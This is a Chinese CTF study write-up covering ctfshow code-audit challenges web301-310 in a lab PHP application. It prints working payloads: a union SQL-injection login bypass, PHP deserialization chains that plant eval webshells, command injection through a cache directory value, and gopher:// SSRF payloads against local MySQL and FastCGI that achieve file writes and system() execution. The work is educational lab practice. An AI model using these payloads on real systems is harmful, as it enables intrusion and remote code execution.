ctfshow-web入门笔记-代码审计入门

web301

  • 首先用seay扫了下,没有显示漏洞
  • 然后进了/index.php,显示
    1
    Access denied for user 'root'@'localhost' (using password: YES)
    非常奇怪 像是SSL或者SQL登录。抓个包看下,也只是发送了
1
2
3
4
5
6
7
8
9
10
GET /index.php HTTP/1.1
Host: showshenji
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=g6a2d37i0gc5fgbb6qc2581hom
Connection: close

查看代码目录,有个login.php。浏览器进去发现是个后台登录页面。代码上是通过调用checklogin.php来处理的。

查看checklogin.php,里面代码非常乱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");

然后看到了sql查询字符串拼接。

1
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

那就说明$username可以注入。

1
2
username = ' union select 1 #
password = 1

这里的password为什么必须要为1?因为在之前的sql查询字符串拼接中,通过union把查询结果设置为1,然后把password设为1,就能让

1
strcasecmp($userpwd,$row['sds_password'])

为0,从而让$_SESSION['login']=1;,成功登录。

web302

直接下载代码。和上一题没有任何不同。

看提示是只修改了一行,也就是

1
2
3
4
5
6
7
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}

sds_decode()fun.php中的一个函数。

1
2
3
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}

只需把union注入时的内容过一下函数就能对上了。

1
echo sds_encode('a'); //db89a0f46d92918f0b185d8fbfc19c03
1
2
username = ' union select 'db89a0f46d92918f0b185d8fbfc19c03' #
password = a

web303

1
2
3
if(strlen($username)>6){
die();
}

加了对username长度的限制。

fun.php加了一句:

1
echo sds_decode("admin");

推测密码为admin?

1
2
username = admin
password = admin

因为sds_user.sql中存在一条记录:

1
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

登录后,可以进入/dpt.php,里面有个新增的按钮,调用了dptadd.php。查看dptadd.php,发现除$dpt_has_cert外的所有参数全部可控。

burp抓个包,放到sqlmap跑一下。

可以注出数据库是sds,表名是sds_fl9g,列名是flag,最后得到flag。

web304

增加全局waf

1
2
3
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}

没什么用,同上题,登录admin后直接用sqlmap注入即可。

web305

同上题,登录没啥变化,发现sql记录->审计算法->发现可以用admin/admin进入。

fun.php新增waf:

1
2
3
4
5
6
7
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}

ctrl一下查看在哪里利用,发现对所有输入都进行了waf的过滤。

发现了class.php,里面定义了user类,疑似可以反序列化;然而ctrl了一下发现没有用到这段代码的地方

1
2
3
4
5
6
7
8
9
10
11
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}

然后尝试了一下绕过preg_match,包括数组绕过、PCRE绕过等;没绕过去就看了下wp,发现果然是眼瞎了。checklogin.php有个反序列化的函数。可以使用class.php,通过__destruct()file_put_contents写马。

1
2
3
4
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}

尝试写一个user的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
$user = new user("a.php","<?php eval(\$_POST['cmd']);?>");
//echo $user->password;
$a = serialize($user);
echo urlencode($a);

然后直接在/下搜索flag文件。

1
cmd=system('find / -type f -name "*flag*" ');

然后看到有个/tmp/flag.sh,cat看看

1
2
3
4
#!/bin/bash 
#sed -i "s/flag_here/$FLAG/" /var/www/html/flag.php
mysql -e "DROP DATABASE IF EXISTS ctftraining; CREATE DATABASE IF NOT EXISTS sds;USE sds;CREATE TABLE \`sds_flabag\` (\`flag\` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;INSERT INTO \`sds_flabag\` VALUES ('$FLAG');" -uroot -proot
export FLAG=not_flag FLAG=not_flag rm -f /flag.sh

注:这里可以看到-uroot-proot,说明这个mysqli的用户名和密码都是root,而不是像代码里conn.php的root和phpcj。

mysqli是在conn.php得知。

1
$mysqli=@new mysqli($mysqlhost,$mysqluser,$mysqlpwd,$mysqldb);

由于过于粗心丢了不少细节,本来这个题能不靠wp做出来的,令人感叹。

web306

提示说的是这题开始有MVC。

MVC 架构是一种软件设计模式,用于组织代码以分离关注点,提高应用程序的可维护性、灵活性和可扩展性。MVC 代表模型(Model)、视图(View)和控制器(Controller)。这种架构模式特别适用于开发用户界面,尤其是 web 应用程序中,允许用户界面的多个视图和数据模型的独立修改。

模型代表应用程序的数据逻辑。它直接管理数据、逻辑和规则,通常包括一个数据访问层,该层处理数据库的读写操作。模型负责访问存储数据的逻辑,提供数据的获取和存储的接口,但不涉及用户界面的处理。

视图负责展示数据(即模型)并发送用户指令(如按钮点击)给控制器。视图通常是依赖于模型数据的,用于展示那些数据给用户。视图只是展示给用户的数据的一个或多个特定的表示,而不包含业务逻辑或数据处理的代码。

控制器作为模型与视图之间的中介,处理用户的输入,调用模型对象进行数据的处理,最后将处理的结果展示给用户。控制器接收用户的输入(通常是通过视图),处理输入(可能涉及模型的修改),并通过视图输出结果。它解释用户输入,将其转化为对模型和视图的命令。

DAO(Data Access Object)是一种设计模式,用于抽象和封装对数据源的访问。它提供了一个统一的接口来访问数据库,使得应用程序可以通过简单的接口与数据源交互,而无需直接使用 SQL 语句或关注数据库的具体细节。

思路是构造cookie直接未授权传包给dptadd.php。

看了wp,发现不太对。wp都是通过dao.php__destruct()方法的conn->close()来做的。这里说connlog类,其close()方法有个file_put_contents(),可以写马。

1
2
3
4
5
6
7
8
9
10
11
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}

}

但是,dao类这里的conn很明显是mysqli类的,而不是log类的,很令人费解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class dao{
private $config;
private $conn;

public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
echo $this->conn;
$this->conn->close();
}
...
}

PHP序列化的方法问题

后面咨询了一下Z3r4y师傅,得到了“php的序列化和反序列化只传输‘属性’,不传递方法”的回复。也就是说,序列化时的这个方法仅仅是在序列化时候用的。以下面的poc为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->conn = new log();
}
}
class log{
public $title='nihao.php';
public $info="<?php eval(\$_GET['cmd']);?>";
}
$dao = new dao();
echo urlencode(base64_encode(serialize($dao)));

序列化完成后是O:3:"dao":2:{s:11:" dao config";N;s:9:" dao conn";O:3:"log":2:{s:5:"title";s:9:"nihao.php";s:4:"info";s:27:"<?php eval($_GET['cmd']);?>";}},没有出现任何方法名,全部是属性名-值。

未做实验前在疑惑,这个代码与dao类定义时不一样,是否为一种“重写”?答案:不是。因为仅仅传递了属性,而未传递方法,方法仅仅是赋属性的一个手段,根本不存在方法,“重写”就更不是了。

类里的construct就是方便给类属性赋值,比如private和protected那些;但其实也先可实例化对象然后再给对象属性赋值的,但要把类里的private,protected那些改成public。因为只传递“属性”,所以改了也没事,总之意思就是construct是给属性赋值的一个手段

web307

查看逻辑,login.phpunserialize()方法,通过cookie的user参数可控;service.php定义了service类,含有__wakeup()魔术方法,会在unserialize()时调用。

后面发现service类根本不需要调用,因为它是通过调用dao类进行clearCache函数的。config类和dao类组合就可以了。

1
2
3
class config{
public $cache_dir = 'cache';
}
1
2
3
4
5
6
7
8
9
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}

组合使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}

class config{
public $cache_dir = ';echo "<?php eval(\$_GET[cmd]);?>" > ./aaa.php;';
}

$c = new dao();
echo urlencode(base64_encode(serialize($c)));

unseralize()函数,login.phplogout.php各有一个unserialize
login.php

1
2
3
4
5
6
7
session_start();
error_reporting(0);
require 'controller/service/service.php';
$user = unserialize(base64_decode($_COOKIE['user']));
if($user){
header("location:index.php");
}

logout.php

1
2
3
4
5
6
7
8
9
10
11
12
13
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");

不能用的原因如下:

  1. login.php仅仅是反序列化了,没有调用反序列化后对象的方法;当然,如果在反序列化时触发了对象类的魔术方法,且魔术方法内含有敏感函数(如shell_exec)那么这里也许就可以使用。
  2. logout.php将反序列化后的对象赋到$service中,之后调用了$service类的clearCache()方法,这就让使用dao类成为了可能。为什么不能用service类呢?因为service类是通过dao类的clearCache方法做shell_exec,然而如果要反序列化service的话,__wakeup()魔术方法会被先调用,此时在service类中会重新实例化dao类和config类。如果本地动态调试过,会发现这两个类不是反序列化字符串中所定义的类。因为反序列化无法反序列化方法,只能反序列化属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}

class config{
public $cache_dir = ';echo "<?php eval(\$_GET[cmd]);?>" > ./aaa.php;';
}

$c = new dao();
echo urlencode(base64_encode(serialize($c)));

web308 - SSRF打无密码MySQL

提示:需要拿shell

按照Kento大师启迪的初学者适用的审计过程,我们分成三步走:

  1. 寻找敏感函数,如shell_execevalincludefile_put_contents等。

dao.php下有clearCache()方法,里面有shell_exec函数。但是有个preg_match挡住的waf,仅接受字母组成的输入。目前先保留绕过的可能性,看看别的地方;

1
2
3
4
5
public function  clearCache(){
if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}

class.php中有个log类,其closelog()方法中含有file_put_contents函数。但是全局搜索closelog方法和log类,都没有使用的地方,而且这也不是魔术函数。

1
2
3
public function closelog(){
file_put_contents($this->title, $this->info);
}
  1. 找到敏感函数后,查看应用的方式。

最后没忍住诱惑看了wp。原来是使用ssrf通过gopher打sql。

fun.php这段函数中有一个敏感函数curl_exec()。就是执行一句curl。也是个敏感函数。

1
2
3
4
5
6
7
8
9
10
11
12
function checkUpdate($url){
$ch=curl_init(); //初始化CURL会话:$ch=curl_init();这一行创建了一个新的CURL会话并返回一个CURL句柄$ch,用于后续的CURL操作。
curl_setopt($ch, CURLOPT_URL, $url); //设置要访问的URL。
curl_setopt($ch, CURLOPT_HEADER, false); //确保不包含HTTP头部在内部输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //让curl_exec执行后不直接输出结果,而是以字符串返回。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //允许跟随任何“Location:”头信息中的重定向。
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //这两行关闭了SSL证书的验证。这意味着CURL会接受任何服务器证书,不论是否是由知名第三方CA签发,也不检查证书中的域名是否和访问的域名匹配。这在安全性上是有风险的,因为它使得客户端易受中间人攻击。
$res = curl_exec($ch); //执行CURL请求并获取结果:$res = curl_exec($ch);这一行执行CURL会话(即发起HTTP请求)。如果成功,curl_exec会返回请求的输出;如果失败,返回false。
curl_close($ch); //关闭CURL会话:curl_close($ch);关闭CURL资源,并释放系统资源。
return $res;
}

调用该函数的类在dao.phpdao类。

1
2
3
public function checkVersion(){
return checkUpdate($this->config->update_url);
}

调用dao实例的类在service.phpservice类,方法叫checkVersion

1
2
3
public function checkVersion(){
return $this->dao->checkVersion();
}

调用service实例中checkVersion方法的点在index.php。这里对$_COOKIE['service']进行反序列化,然后再进行checkVersion的调用。

1
2
3
4
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}

那么,目前checkUpdate($url)中,checkUpdate()可以被调用了,那么$url该如何调用呢?在dao类中,有$this->config->update_url,而$update_url是这样的。

1
public $update_url = 'https://vip.ctf.show/version.txt';

我们发现service类的checkVersiondao类的checkVersion是同名的,那么就可以直接不使用service类而使用dao类。更遑论service类的__wakeup()魔术方法对daoconfig两个类实例化的影响了。(logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用checkVersion)

那么我们就可以用daoconfig两个类的反序列化进行SSRF。

这里又陷入了僵局,不知道该怎么SSRF进去。知道是用Gopher协议,但是不知道该打哪儿。

注意到config.php中,这个mysql是无密码root。

1
2
private $mysql_username='root';
private $mysql_password='';

关于为什么可以用SSRF和Gopher攻击没有密码的MySQL数据库,这里涉及到几个关键点:

Gopher协议的复用:Gopher协议被设计来检索文档、文件等,但其简单的文本基础让它可以被滥用来构造其他协议的请求,包括MySQL的。通过构造特定的Gopher链接,可以使受SSRF漏洞影响的服务器生成并发送几乎任意的网络请求。

MySQL协议的特性:在某些配置下,MySQL服务器可能不需要密码即可连接(例如,当MySQL配置为只允许来自localhost的连接,且没有设置密码时)。如果攻击者能够通过SSRF漏洞利用Gopher协议与内部或受限制的MySQL服务器通信,他们可能能够执行未授权的数据库查询或命令。

总之,SSRF配合Gopher攻击未加密码保护的MySQL数据库的可能性基于多种因素:旧协议的滥用、内部服务的宽松配置、以及应用程序的安全弱点。

使用Gopherus可以构造这样的Gopher链接。anaconda弄个py2环境就能用Gopherus了。

1
2
3
4
5
6
python .\gopherus.py --exploit mysql

username: root
query: select "<?php eval($_GET['cmd']);?>" into outfile "/var/www/html/a.php"

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%01%00%00%00%01

根据之前的推理,构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
}
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}

$a = new dao();
//echo serialize($a);
echo urlencode(base64_encode(serialize($a)));

注意:路径和写入的内容都需加双引号,也许是要根据字符串来看。

1
select "<?php eval($_GET['cmd']);?>" into outfile "/var/www/html/a.php"

web309 - SSRF打FastCGI

提示:需要拿shell,308的方法不行了,mysql 有密码了。

再次审计内容,index.phpcheckVersion()方法最后的返回值居然是显式返回的,可以尝试先curl以下百度的txt。

1
<h3>最新版本:<span class="tpl-color-primary"><?php echo $lastVersion;?></span></h3><a href="###">全部</a></li>

修改web308的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
}
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
}
class config{
// public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
public $update_url = 'https://www.baidu.com/robots.txt';
}

$a = new dao();
//echo serialize($a);
echo urlencode(base64_encode(serialize($a)));

无事发生。或许这段html是登录后才能显示的。

查看wp,发现是SSRF打FastCGI。当服务端是PHP语言+NGINX时,就要考虑是否为FastCGI了。

FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。

gopherus可以打FastCGI。

尝试用gopherus,但是失败了。

1
2
3
4
5
6
7
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: index.php
Terminal command to run: tac f*

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
}
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
}
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH57%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%009%04%00%3C%3Fphp%20system%28%27ls%20-a%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}

$a = new dao();
//echo serialize($a);
echo urlencode(base64_encode(serialize($a)));

复现失败!

web310 - SSRF读配置文件

直接读wp,发现可以使用file://伪协议读配置文件nginx.conf。

复现失败!自己尝试构建Payload多次未果,尝试直接使用wp1wp2的payload也失败了。